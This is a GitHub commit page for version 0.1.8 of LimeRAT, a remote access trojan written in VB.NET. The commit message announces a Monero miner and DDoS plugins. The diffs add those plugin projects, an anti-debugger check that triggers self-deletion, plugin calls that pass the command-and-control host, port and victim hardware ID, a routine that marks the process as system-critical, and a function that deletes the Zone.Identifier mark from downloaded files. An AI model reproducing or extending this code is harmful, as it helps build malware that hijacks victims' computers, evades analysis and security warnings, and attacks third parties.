Skip to content
This repository was archived by the owner on Jun 25, 2019. It is now read-only.

Commit fe58ef8

Browse files
committed
UPDATE 0.1.8
- Added Monero CPU Miner - Added DDoS - Added [Client] prevent PC sleep\idle - Added [Client] DeleteZoneIdentifier - Added Support Folder - Updated [Client] Anti-VM - Fixed [Client] high CPU usage - Fixed Plugin system - Fixed [Server] Lags when send large size file - Fixed many small bugs
1 parent 89bc0ef commit fe58ef8

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

76 files changed

+7843
-686
lines changed
312 Bytes
Binary file not shown.

.vs/LimeRAT/v15/.suo

91.5 KB
Binary file not shown.
512 KB
Binary file not shown.
0 Bytes
Binary file not shown.
60.4 KB
Binary file not shown.

LimeRAT.sln

Lines changed: 14 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -4,23 +4,6 @@ Microsoft Visual Studio Solution File, Format Version 12.00
44
VisualStudioVersion = 15.0.27703.2000
55
MinimumVisualStudioVersion = 10.0.40219.1
66
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Server", "Project\Server\Server.vbproj", "{B672DE08-269D-4AA6-8535-D3BC59BB086B}"
7-
ProjectSection(ProjectDependencies) = postProject
8-
{CFE81801-C2C5-4444-BE67-64EFFEFDCD73} = {CFE81801-C2C5-4444-BE67-64EFFEFDCD73}
9-
{73EF1630-1208-43C5-9E3F-19A2923875C5} = {73EF1630-1208-43C5-9E3F-19A2923875C5}
10-
{2B47F84C-9CA3-47E9-9970-8AF8233A9F12} = {2B47F84C-9CA3-47E9-9970-8AF8233A9F12}
11-
{73ECE052-4218-465D-AA2E-A2D03448BEDD} = {73ECE052-4218-465D-AA2E-A2D03448BEDD}
12-
{D47C706B-152F-46B5-840A-4EBB2CFAFE33} = {D47C706B-152F-46B5-840A-4EBB2CFAFE33}
13-
{CF8C386C-46B2-4F40-BCB1-774C01E72B1C} = {CF8C386C-46B2-4F40-BCB1-774C01E72B1C}
14-
{8F71C671-F53C-4F4F-98B9-8B8D3263C0DB} = {8F71C671-F53C-4F4F-98B9-8B8D3263C0DB}
15-
{55625889-F7BB-4533-9702-DDE98FBB0DDF} = {55625889-F7BB-4533-9702-DDE98FBB0DDF}
16-
{E211C5CD-85F0-48D2-A18F-2E59AD47DDC3} = {E211C5CD-85F0-48D2-A18F-2E59AD47DDC3}
17-
{733C37D8-858F-44EE-9D17-790F7DE9C040} = {733C37D8-858F-44EE-9D17-790F7DE9C040}
18-
{27CF1AE0-5FDE-4B31-A4DA-6FAD1D77351D} = {27CF1AE0-5FDE-4B31-A4DA-6FAD1D77351D}
19-
{363A6DE4-59D9-451B-A4FD-1FE763970E1E} = {363A6DE4-59D9-451B-A4FD-1FE763970E1E}
20-
{AF0885E4-9E3B-49CA-9F13-0F869E8BF89D} = {AF0885E4-9E3B-49CA-9F13-0F869E8BF89D}
21-
{9C30CAE4-6FBE-45CC-90C2-1D739DB92E86} = {9C30CAE4-6FBE-45CC-90C2-1D739DB92E86}
22-
{A0E096FB-3AEF-41B5-A67B-BD90D2FEBBFC} = {A0E096FB-3AEF-41B5-A67B-BD90D2FEBBFC}
23-
EndProjectSection
247
EndProject
258
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Client", "Project\Client\Client.vbproj", "{1E2A1E78-ED0B-414B-A956-86232B1025BE}"
269
EndProject
@@ -56,6 +39,10 @@ Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "CRYP", "Project\Plugins\CRY
5639
EndProject
5740
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "KLG", "Project\Plugins\KLG\KLG.vbproj", "{CF8C386C-46B2-4F40-BCB1-774C01E72B1C}"
5841
EndProject
42+
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "XMR", "Project\Plugins\XMR\XMR.vbproj", "{6E25C93C-0985-4D6E-A4C3-89D10F4F4F5F}"
43+
EndProject
44+
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "DDOS", "Project\Plugins\DDOS\DDOS.vbproj", "{F56E4E1A-AB7A-4494-ACB9-8757164B0524}"
45+
EndProject
5946
Global
6047
GlobalSection(SolutionConfigurationPlatforms) = preSolution
6148
Debug|Any CPU = Debug|Any CPU
@@ -130,6 +117,14 @@ Global
130117
{CF8C386C-46B2-4F40-BCB1-774C01E72B1C}.Debug|Any CPU.Build.0 = Debug|Any CPU
131118
{CF8C386C-46B2-4F40-BCB1-774C01E72B1C}.Release|Any CPU.ActiveCfg = Release|Any CPU
132119
{CF8C386C-46B2-4F40-BCB1-774C01E72B1C}.Release|Any CPU.Build.0 = Release|Any CPU
120+
{6E25C93C-0985-4D6E-A4C3-89D10F4F4F5F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
121+
{6E25C93C-0985-4D6E-A4C3-89D10F4F4F5F}.Debug|Any CPU.Build.0 = Debug|Any CPU
122+
{6E25C93C-0985-4D6E-A4C3-89D10F4F4F5F}.Release|Any CPU.ActiveCfg = Release|Any CPU
123+
{6E25C93C-0985-4D6E-A4C3-89D10F4F4F5F}.Release|Any CPU.Build.0 = Release|Any CPU
124+
{F56E4E1A-AB7A-4494-ACB9-8757164B0524}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
125+
{F56E4E1A-AB7A-4494-ACB9-8757164B0524}.Debug|Any CPU.Build.0 = Debug|Any CPU
126+
{F56E4E1A-AB7A-4494-ACB9-8757164B0524}.Release|Any CPU.ActiveCfg = Release|Any CPU
127+
{F56E4E1A-AB7A-4494-ACB9-8757164B0524}.Release|Any CPU.Build.0 = Release|Any CPU
133128
EndGlobalSection
134129
GlobalSection(SolutionProperties) = preSolution
135130
HideSolutionNode = FALSE
@@ -150,6 +145,8 @@ Global
150145
{363A6DE4-59D9-451B-A4FD-1FE763970E1E} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
151146
{AF0885E4-9E3B-49CA-9F13-0F869E8BF89D} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
152147
{CF8C386C-46B2-4F40-BCB1-774C01E72B1C} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
148+
{6E25C93C-0985-4D6E-A4C3-89D10F4F4F5F} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
149+
{F56E4E1A-AB7A-4494-ACB9-8757164B0524} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
153150
EndGlobalSection
154151
GlobalSection(ExtensibilityGlobals) = postSolution
155152
SolutionGuid = {D2B7BDC0-251E-4521-91E5-76CD9CF13D23}

Project/Client/C_AntiVM.vb

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,12 @@
1919
ElseIf LoadLibrary("SbieDll.dll") = True Then
2020
GoTo del
2121

22+
ElseIf Diagnostics.Debugger.IsLogging OrElse Diagnostics.Debugger.IsAttached Then
23+
GoTo del
24+
2225
ElseIf IO.File.Exists(Environment.GetEnvironmentVariable("windir") & "\vboxhook.dll") Then
2326
GoTo del
27+
2428
End If
2529
Exit Sub
2630
del:

Project/Client/C_Commands.vb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,8 +46,10 @@
4646
If GM.Name = "CN" Then
4747
GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_Socket.KEY, C_Socket.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)})
4848
ElseIf GM.Name = "MISC" Then
49-
GM.Invoke(Nothing, New Object() {CMD})
50-
ElseIf GM.Name = "CL" Then
49+
GM.Invoke(Nothing, New Object() {C_ID.HWID, CMD})
50+
ElseIf GM.Name = "CL" Then
51+
GM.Invoke(Nothing, New Object() {C_Settings.DROP, C_Settings.EXE, C_Settings.fullpath, C_ID.Privileges, C_ID.HWID, CMD})
52+
ElseIf GM.Name = "XMR" Then
5153
GM.Invoke(Nothing, New Object() {C_Settings.DROP, C_Settings.EXE, C_Settings.fullpath, C_ID.Privileges, C_ID.HWID, CMD})
5254
End If
5355
Next
Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
Namespace Lime
22

3-
Public Class C_CriticalProcesses
3+
Public Class C_CriticalProcess
44
'https://www.codeproject.com/Articles/43405/Protecting-Your-Process-with-RtlSetProcessIsCriti
55
<Runtime.InteropServices.DllImport("NTdll.dll", EntryPoint:="RtlSetProcessIsCritical", SetLastError:=True)>
66
Public Shared Sub SetCurrentProcessIsCritical(
@@ -9,7 +9,7 @@
99
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> ByVal needSystemCriticalBreaks As Boolean)
1010
End Sub
1111

12-
Public Shared Sub CriticalProcesses_Enable()
12+
Public Shared Sub CriticalProcess_Enable()
1313
Try
1414
Dim refWasCritical As Boolean
1515
System.Diagnostics.Process.EnterDebugMode()

Project/Client/C_Functions.vb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@
2121
Try
2222
Return Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\" & C_ID.HWID).GetValue(n, "")
2323
Catch ex As Exception
24-
Return ""
24+
Return Nothing
2525
End Try
2626
End Function
2727

@@ -50,9 +50,9 @@
5050

5151
Sub Handler_SessionEnding(ByVal sender As Object, ByVal e As Microsoft.Win32.SessionEndingEventArgs)
5252
If e.Reason = Microsoft.Win32.SessionEndReasons.Logoff Then
53-
C_CriticalProcesses.CriticalProcesses_Disable()
53+
C_CriticalProcess.CriticalProcesses_Disable()
5454
ElseIf e.Reason = Microsoft.Win32.SessionEndReasons.SystemShutdown Then
55-
C_CriticalProcesses.CriticalProcesses_Disable()
55+
C_CriticalProcess.CriticalProcesses_Disable()
5656
End If
5757
End Sub
5858

@@ -84,5 +84,13 @@
8484
End If
8585
End Function
8686

87+
<Runtime.InteropServices.DllImport("kernel32.dll", CharSet:=Runtime.InteropServices.CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True, SetLastError:=True)>
88+
Function DeleteFile(<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.LPTStr)> ByVal filepath As String
89+
) As <Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> Boolean
90+
End Function
91+
Sub DeleteZoneIdentifier(ByVal filePath As String)
92+
Try : DeleteFile(filePath + ":Zone.Identifier") : Catch : End Try
93+
End Sub
94+
8795
End Module
8896
End Namespace

0 commit comments

Comments
 (0)